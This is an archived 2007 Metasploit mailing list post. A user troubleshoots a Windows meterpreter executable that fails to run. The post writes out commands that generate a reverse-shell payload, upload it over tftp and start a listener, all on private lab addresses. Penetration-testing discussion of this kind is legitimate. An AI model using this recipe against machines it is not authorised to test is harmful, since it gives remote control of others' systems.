Metasploit mailing list archives

msfpayload to Windows Executable. What am I doing wrong?


From: lo127001 at gmail.com (Mark Baggett)
Date: Wed, 25 Jul 2007 15:25:48 -0400

Im using SVN revision 5061.  Here is one of my attempts..

eth0      Link encap:Ethernet  HWaddr 00:0C:29:BE:EE:8C
          inet addr:192.168.230.130  Bcast:192.168.230.255  Mask:
255.255.255.0
          inet6 addr: fe80::20c:29ff:febe:ee8c/64 Scope:Link
          UP BROADCAST NOTRAILERS RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:137 errors:0 dropped:0 overruns:0 frame:0
          TX packets:60 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:17252 (16.8 KiB)  TX bytes:19258 (18.8 KiB)
          Interrupt:10 Base address:0x1080

bt framework3 # msfpayload windows/meterpreter/reverse_tcp    LHOST=
192.168.230.130 X > meterpreter.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
 Length: 177
Options: LHOST=192.168.230.130
bt framework3 # file meterpreter.exe
meterpreter.exe: MS-DOS executable PE  for MS Windows (GUI) Intel 80386
32-bit
bt framework3 # tftp 192.168.230.1 -c put meterpreter.exe
bt framework3 # msfcli exploit/multi/handler
PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.230.120 e
[*] Started reverse handler
[*] Starting the payload handler...

bt framework3 #
/* Then I launch the executable on a remote machine.
 From DOS I get a "his program cannot be run in DOS mode." (Note the "T" is
missing)
 From Windows, it appears then disappears.
 TCPDUMP shows no packets, and I see no indications that the process is
running.
 I never receive a connection.
What am I doing wrong?  I tried binding a shell on a listening port, reverse
shell, vnc reverse and bind.  I cant get it to do anything. If tried it on
XP and 2000. If tried defining LPORT and EXITFUNC on my msfpayload call.
Thanks  */
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.metasploit.com/pipermail/framework/attachments/20070725/00c9b03d/attachment.htm>


Current thread: